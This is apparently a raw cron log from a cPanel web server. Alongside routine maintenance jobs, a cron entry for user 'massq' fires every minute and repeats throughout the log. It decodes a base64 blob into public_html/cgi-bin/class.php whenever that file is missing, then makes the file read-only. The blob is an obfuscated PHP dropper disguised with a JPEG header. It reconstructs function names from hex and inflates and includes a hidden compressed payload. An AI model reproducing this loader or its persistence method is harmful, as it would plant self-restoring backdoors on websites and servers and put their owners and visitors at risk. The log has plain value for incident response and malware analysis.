Sep  9 14:25:01 server CROND[12358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:25:01 server CROND[12363]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:26:01 server CROND[13300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:26:01 server CROND[13301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:26:01 server CROND[13299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:27:01 server CROND[13687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:27:01 server CROND[13689]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:27:01 server CROND[13688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:27:01 server CROND[13690]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 14:28:01 server CROND[14071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:28:01 server CROND[14072]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:28:01 server CROND[14073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:29:01 server CROND[14435]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:29:01 server CROND[14436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:29:01 server CROND[14437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:30:01 server CROND[14820]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:30:01 server CROND[14823]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 14:30:01 server CROND[14824]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:30:01 server CROND[14825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:30:01 server CROND[14822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:30:01 server CROND[14826]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:30:01 server CROND[14834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:30:01 server CROND[14832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:31:01 server CROND[15735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:31:01 server CROND[15742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:31:01 server CROND[15738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:32:01 server CROND[16103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:32:01 server CROND[16104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:32:01 server CROND[16105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:33:01 server CROND[16524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:33:01 server CROND[16525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:33:01 server CROND[16526]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:34:01 server CROND[16902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:34:01 server CROND[16903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:34:01 server CROND[16904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:35:01 server CROND[17285]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 14:35:01 server CROND[17287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 14:35:01 server CROND[17294]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 14:35:01 server CROND[17296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:35:01 server CROND[17300]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 14:35:01 server CROND[17297]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 14:35:01 server CROND[17295]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  9 14:35:01 server CROND[17299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:35:01 server CROND[17298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:36:01 server CROND[18101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:36:01 server CROND[18102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:36:01 server CROND[18103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:37:01 server CROND[18625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 14:37:01 server CROND[18626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 14:37:01 server CROND[18627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 14:38:01 server CROND[18999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
